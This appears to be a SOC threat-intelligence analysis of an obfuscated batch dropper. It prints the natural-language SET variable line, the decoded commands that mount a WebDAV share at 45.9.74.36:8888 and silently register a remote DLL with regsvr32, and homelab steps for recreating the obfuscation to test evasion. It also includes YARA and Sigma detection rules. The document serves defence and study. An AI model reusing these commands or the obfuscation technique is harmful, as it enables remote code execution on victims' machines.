unclassified-js-webdav-dropper: b32ea531 — Twenty-eighth sibling, natural-language SET batch, 45.9.74.36:8888

Executive Summary

A 23 KB pure-batch WebDAV dropper and the twenty-eighth confirmed sibling of the unclassified-js-webdav-dropper family. It uses 36 natural-language SET variable names (three-word English compound phrases) to obfuscate a powershell.exe -WindowStyle Hidden wrapper that mounts \\45.9.74.36@8888\DavWWWRoot\ and silently registers 194383275310785.dll via regsvr32 /s. A color f0 && start wordpad decoy precedes the payload. Identical execution engine to siblings ffd5d894, e11665cf, dac5e0ee, and b2a097ba; only the SET phrases and payload DLL name differ.

What It Is

• File: 1352111297220889279.bat ^[metadata.json]
• Size: 23,278 bytes (23 KB) ^[file.txt]
• Format: ASCII text, Windows CRLF line endings, very long lines (2,380 chars) ^[file.txt]
• Type: Pure batch script — no JScript polyglot layer ^[strings.txt:187]
• SHA-256: b32ea53142ce5f15a6896f322396721d3698779ae385440bb5dd921ac66864c2
• Family: unclassified-js-webdav-dropper — 28th confirmed sibling
• Confidence: High — exact execution chain match to 9 prior siblings on the same C2 IP

How It Works

Obfuscation

The script contains ~185 lines of noise — semantically coherent but irrelevant English phrases (e.g. free handsomely weather frail unaccountable whine greet, dinosaurs unequaled spring adventurous laugh volatile beginner afterthought snotty crooked absurd) followed by a :ground label. ^[strings.txt:1-186]

At :ground, 36 SET variables are declared in a single line, chained with &&. Each variable name is a natural-language compound phrase (three or more English words concatenated), and each holds a single character or digit:

set jaggedpokeuninterested=b&&set berryendurabledrown=7&&set towhushedload=t&&set vestjumpexpansion=u&&set annoydaffyadaptable=6&&set bruisediscussionlarge=l&&set discussionapprovalstaking=k&&set honorableendurableclosed=q&&set spectacularlibrarycommittee=i&&set unsuitableafraidcrabby=y&&set fingerminiaturewell-groomed=4&&set preachbentencouraging=g&&set penitentuselessguarantee=c&&set intendsubduedencourage=d&&set aromaticlamentablesleepy=2&&set abjectawarehanging=9&&set draweruniqueadjustment=r&&set vastclothdamp=8&&set gullibleflippantbasin=x&&set faintfreeattempt=s&&set unuseddripreceptive=a&&set disgustingshapeattract=z&&set livedisapprovecertain=w&&set stewrainyelastic=e&&set crushdynamicscatter=0&&set floodbruisebad=m&&set vagabondattemptbouncy=p&&set mandrearyeager=f&&set teeny-tinytalkvessel=h&&set lunchclamlamp=3&&set ill-fatedexchangedomineering=o&&set punishremembersquirrel=n&&set tongueboltabashed=5&&set jaggedill-informedcolossal=v&&set tawdryappearcombative=j&&set supremepermissibletwo=1

^[strings.txt:187]

This is the natural-language SET dialect first observed in sibling ffd5d894 and refined in e11665cf. Unlike the shared-prefix short-suffix dialect (hbutcXXXX, labzfXXXX), these names are grammatically plausible but semantically empty, making them harder to cluster by prefix matching.

Execution Chain

Batch variable expansion reassembles three commands:

color f0&&start wordpad
start powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\194383275310785.dll
exit

^[decoded_payload.txt]

1. color f0 && start wordpad — Changes console color to black-on-white and launches WordPad as a decoy. ^[decoded_payload.txt]
2. start powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ — Mounts the attacker-controlled WebDAV share via PowerShell in a hidden window. ^[decoded_payload.txt]
3. regsvr32 /s \\45.9.74.36@8888\davwwwroot\194383275310785.dll — Silently registers the remote DLL using the signed Windows system binary. ^[decoded_payload.txt]
4. exit — Closes the batch session. ^[decoded_payload.txt]

Comparison to Prior Siblings

Deltas are cosmetic: SET phrase vocabulary, payload filename, and minor casing on -windowstyle vs -WindowStyle. The execution engine is byte-for-byte identical in structure. ^[/intel/analyses/ffd5d894f5e350baace2342fc3c2c7de63a82138469db1694c35c732cf0c9df4.html] ^[/intel/analyses/e11665cfc0365e13977a75fe8be7cbc00362cd15f1eef8351db0357e8e16a40a.html]

C2 Infrastructure

• Host: 45.9.74.36 (IPv4, no DNS resolution) ^[decoded_payload.txt]
• Port: 8888 ^[decoded_payload.txt]
• Protocol: WebDAV over HTTP (\\host@port\DavWWWRoot\) ^[decoded_payload.txt]
• Payload URI: \\45.9.74.36@8888\DavWWWRoot\194383275310785.dll ^[decoded_payload.txt]
• Attribution: No linguistic, infrastructure, or code-reuse clues beyond the shared C2 IP. The 45.9.74.0/24 block has hosted 8 confirmed siblings; dailywebstats.com:8888 and cloudslimit.com:8888 are sister infrastructures in the same family. No actor attribution.

Interesting Tidbits

• The noise phrases at the top of the script (goto ground, then ~185 lines of word salad) serve only to push the :ground label and the actual payload far down the file, defeating top-of-file static inspection. ^[strings.txt:1-186]
• Variable names like jaggedpokeuninterested, discussionapprovalstaking, and spectacularlibrarycommittee are constructed from the same English phrase pool as prior siblings but arranged in new combinations — suggesting a generation tool with a fixed vocabulary and random permutation. ^[strings.txt:187]
• The payload filename 194383275310785.dll follows the family pattern of long numeric strings (14–17 digits) with a .dll extension. No semantic content.
• No sandbox gate, no anti-debug, no VM detection, no connectivity probe. This family executes unconditionally on any Windows host with outbound HTTP access. ^[dynamic-analysis.md]
• CAPE skipped detonation because the file is ASCII text, not a binary. Static-only analysis is correct. ^[dynamic-analysis.md]

How To Mess With It (Homelab Replication)

1. Reproduce the obfuscation: Write a Python script that takes a payload command string and a vocabulary list of English adjectives/nouns/verbs. Randomly concatenate 3–4 words to form variable names, map each to a unique character, then emit the SET line and the %VAR% expansion line.
2. Test detection evasion: Run your generated batch against static string extraction (strings, floss) and observe that the payload is invisible until the %VAR% expansion line is decoded.
3. Test EDR telemetry: Execute on a Windows VM with Sysmon or your EDR. Verify whether powershell.exe command-line logging captures the fully expanded net use command or only the %VAR%-encoded version.
4. Block at perimeter: Configure your lab firewall to drop outbound TCP 8888 to 45.9.74.36 and observe the batch fail silently at the net use step.

Deployable Signatures

YARA Rule

rule WebDAV_Batch_Dropper_NaturalLang_SET : dropper {
    meta:
        description = "WebDAV batch dropper with natural-language SET variable obfuscation"
        author = "PacketPursuit SOC"
        date = "2026-06-29"
        reference = "/intel/analyses/b32ea53142ce5f15a6896f322396721d3698779ae385440bb5dd921ac66864c2.html"
        hash = "b32ea53142ce5f15a6896f322396721d3698779ae385440bb5dd921ac66864c2"
    strings:
        $a1 = "net use \\45.9.74.36@8888\\davwwwroot" nocase
        $a2 = "regsvr32 /s \\45.9.74.36@8888\\davwwwroot" nocase
        $b1 = "color f0" nocase
        $b2 = "start wordpad" nocase
        $c1 = "set jaggedpokeuninterested="
        $c2 = "set berryendurabledrown="
        $c3 = "set spectacularlibrarycommittee="
        $c4 = "set unsuitableafraidcrabby="
        $d1 = /set [a-z-]{20,80}=[a-z0-9]&&set /
        $e1 = "DavWWWRoot"
        $e2 = "regsvr32 /s"
    condition:
        (uint16(0) != 0x5a4d) and
        (filesize < 50KB) and
        (
            ($a1 and $a2) or
            ($b1 and $b2 and $e1 and $e2) or
            (2 of ($c*)) or
            (#d1 > 10)
        )
}

Sigma Rule

title: WebDAV Batch Dropper Execution via PowerShell and Regsvr32
status: experimental
logsource:
    product: windows
    category: process_creation
detection:
    selection_powershell:
        CommandLine|contains|all:
            - 'powershell.exe'
            - '-windowstyle hidden'
            - 'net use'
            - 'DavWWWRoot'
    selection_regsvr32:
        CommandLine|contains|all:
            - 'regsvr32.exe'
            - '/s'
            - 'DavWWWRoot'
    selection_parent:
        ParentImage|endswith:
            - '\\cmd.exe'
            - '\\wscript.exe'
        ParentCommandLine|contains:
            - '.bat'
            - '.cmd'
    condition: (selection_powershell or selection_regsvr32) and selection_parent
falsepositives:
    - Rare legitimate IT administration scripts using WebDAV mounts
level: high

IOC List

Behavioral Fingerprint

A .bat file executes on a Windows host. Within seconds, cmd.exe spawns powershell.exe with -windowstyle hidden and a command line containing net use followed by a UNC path with DavWWWRoot. Shortly after, either regsvr32.exe or rundll32.exe is spawned with a /s flag and a UNC path pointing to a .dll file on the same WebDAV share. A wordpad.exe process may appear as a decoy. No network DNS resolution precedes the connection — the C2 is reached by raw IPv4. No persistence mechanism is observed; the dropper is one-shot.

Detection Signatures

References

• unclassified-js-webdav-dropper — entity page for this family (28 siblings)
• webdav-regsvr32-dll-sideloading — technique page for the execution chain
• batch-powershell-variable-expansion-obfuscation — technique page for the SET obfuscation pattern
• ATT&CK T1218.010: https://attack.mitre.org/techniques/T1218/010/
• MITRE ATT&CK T1071.001: https://attack.mitre.org/techniques/T1071/001/

Provenance

Analysis derived from:

• file.txt — file type identification
• strings.txt — raw string extraction (line 187 contains the SET declaration and expansion lines)
• exiftool.json — metadata (filename, size, line count)
• metadata.json — artifact ID and source labels
• Manual deobfuscation of batch %VAR% expansion
• dynamic-analysis.md — CAPE skipped (ASCII text, not binary)

All claims cite provenance markers inline.